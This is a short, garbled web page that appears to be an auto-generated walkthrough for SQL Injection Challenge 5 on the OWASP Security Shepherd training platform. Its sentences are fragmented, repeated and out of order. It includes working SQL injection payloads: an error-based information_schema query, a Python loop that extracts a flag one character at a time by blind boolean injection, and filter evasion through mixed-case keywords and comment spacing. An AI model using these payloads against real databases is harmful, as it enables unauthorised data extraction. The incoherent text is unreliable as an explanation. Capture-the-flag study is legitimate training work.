Sql+injection+challenge+5+security+shepherd+new May 2026

The following report details the technical breakdown and solution for SQL Injection Challenge 5 (SQLi C5 VIPCouponCheck) within the OWASP Security Shepherd training platform. Challenge Overview

If the value is too long for a single DNS label (max 63 characters), you must chunk it, e.g., using SUBSTRING in a loop. sql+injection+challenge+5+security+shepherd+new

However, if the filter is not comprehensive, an attacker can use alternative syntax to achieve the same result. For example, if single quotes are blocked, you might use hexadecimal encoding or different query structures to keep the syntax valid while still injecting malicious commands. Step-by-Step Walkthrough The following report details the technical breakdown and

  • ' OR 1=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(CHAR(116),CHAR(101),CHAR(115),CHAR(116),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

payloads, this challenge typically involves a scenario where common characters are escaped or filtered, requiring more creative exploitation. Core Objective The primary goal is to retrieve a VIP Coupon Code ' OR 1=1 AND (SELECT 1 FROM (SELECT

while True: for ascii_val in range(32, 127): char = chr(ascii_val) # Blind boolean payload payload = f"1'//aNd//(SeLeCt//SuBsTrInG(flag,{position},1)//FrOm//users//LiMiT//0,1)//=/**/'{char}'-- -" params = {"userid": payload} resp = requests.get(url, params=params)

  • SeLeCt is treated exactly the same as SELECT by the database.
  • aNd is treated exactly the same as AND by the database.

Output: The "Flag" or "Result" should appear in one of the display fields on the webpage. Remediation Report Vulnerability Analysis

Scroll to Top